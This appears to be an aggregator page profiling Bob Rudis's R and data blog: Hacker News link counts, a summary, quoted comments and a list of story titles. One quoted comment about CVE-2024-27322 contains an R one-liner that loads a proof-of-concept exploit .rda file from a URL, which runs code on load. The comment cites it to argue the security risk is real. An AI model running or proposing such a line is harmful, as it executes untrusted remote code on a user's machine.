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Bob Rudis writes hrbrmstr (boB Rudis), a personal blog at rud.is about data and programming. Since 2011, 15 different Hacker News readers have linked it 56 times, most often “Working with the Clinton State Dept Email Dumps in R, Part 1”. No feed was found, so read it on the site itself.

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15HN people?
2011–2026first – last linked?
Links on Hacker News per year · peak 22 in 2012

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Why HN links it

Bob Rudis's R programming blog, covering analysis of the Clinton State Dept email dumps, futures in R, and a statement on R's CVE-2024-27322. Comments mostly link related packages or note usability, not the writing.

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  1. Working with the Clinton State Dept Email Dumps in R, Part 1
    2 people · 2 mentions · first linked 2016-02-21

What Hacker News says?

  1. Might be better to have the direct link, as the iframe is a bit quirky on mobile: http://rud.is/projects/clinton_emails_01.html

    Comment linking /projects/clinton_emails_01.html

    on “Working with the Clinton State Dept Email Dumps in R, Part 1”
  2. Submitted Working with the Clinton State Dept Email Dumps in R, Part 1 as a story · 134 points

    HN discussion
  3. Have a look at the fiery package ( https://cran.r-project.org/package=fiery ), which utilizes futures and that Thomas Pedersen just released: "A very flexible framework for building server side logic in R. The framework is unoppinionated when it comes to how HTTP requests and WebSocket messages are handled and supports all levels of app complexity; from serving static content to full-blown dynamic web-apps. Fiery do…

    Comment linking /b/2016/07/05/a-simple-prediction-web-service-using-the-new-firery-package/

    on “A Future for R: A Comprehensive Overview”
  4. Submitted Full transcript of Ukrainian President’s emotional appeal to Russians as a story · 8 points

    HN discussion
  5. > We reject the idea that there are wider security implications associated with promises or serialization, both of which are core features of the language. Isn't this demonstrably false? I.e. run this [1] load(url(" https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda ")) and it opens the calculator application on windows/macOS (or echo's 'pwnd' on linux). When someone can easily cause their hidden system code…

    Comment linking /b/2024/05/03/cve-2024-27322-should-never-have-been-assigned-and-r-data-files-are-still-super-risky-even-in-r-4-4-0/

    on “Statement on CVE-2024-27322”
  6. Submitted Visualizing “ObamaCare-related” Job Cuts as a story · 8 points

    HN discussion
  7. It's accessible: https://rud.is/b/2019/10/28/spelunking-macos-screentime-app-...

    Comment linking /b/2019/10/28/spelunking-macos-screentime-app-usage-with-r/

    on “Why can't we download data from screen time feature on Apple devices?”
  8. Submitted A Note to Our Community on How to Hide Your Content from Search Engines as a story · 7 points

    HN discussion
  9. Submitted Reading PCAP Files (Directly) with DuckDB as a story · 4 points

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  10. Submitted Using R to make Vega-Lite Visualizations as a story · 3 points

    HN discussion
  11. Submitted Rforecastio – Simple R Package To Access forecast.io Weather Data as a story · 3 points

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  12. Submitted Security Hobos as a story · 3 points

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  13. Submitted Watching Sandy in 'R' as a story · 3 points

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  14. Submitted Get an R Data Frame from a MongoDB Query as a story · 3 points

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  15. Submitted SSH Password Time-series Heatmap In D3 as a story · 3 points

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  16. Submitted Slopegraphs – The Quintessential Tufte GDP Example Revisited as a story · 3 points

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  17. Submitted New TabularData Available in Swift on macOS Monterery (et al.) as a story · 2 points

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  18. Submitted The Most Important Commodity in 2017 Is Data as a story · 2 points

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  19. Submitted Making streamgraphs in R as a story · 2 points

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  20. Submitted Live Maine Power Outage Maps in D3 (County & Town) as a story · 2 points

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  21. Submitted ZeroAccess Bots Desperately Seeking Freedom (Visualization) as a story · 2 points

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  22. Submitted SHODAN API in R (With Examples) as a story · 2 points

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  23. Submitted Building Jytter On OS X as a story · 2 points

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  24. Submitted Security & Privacy Of Mountain Lion’s Dictation Feature as a story · 2 points

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  25. Submitted Breach Reach : Google Insights as a story · 2 points

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  26. Submitted Both Candidates Weak On [SSL] Security as a story · 2 points

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  27. Submitted Behind The Mask : Supporting The New CIO Personas (infosec/compliance) as a story · 2 points

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  28. Submitted A Tale of Two Charting Paradigms: Vega-Lite vs. R+ggplot2 as a story · 1 points

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  29. Submitted Polyglot FizzBuzz in R (Plus: “Why Can’t Johnny Code?”) as a story · 1 points

    HN discussion
  30. Submitted Have Some Fun with Apple’s WWDC 2019 Keynote Subtitles and Show Your Work as a story · 1 points

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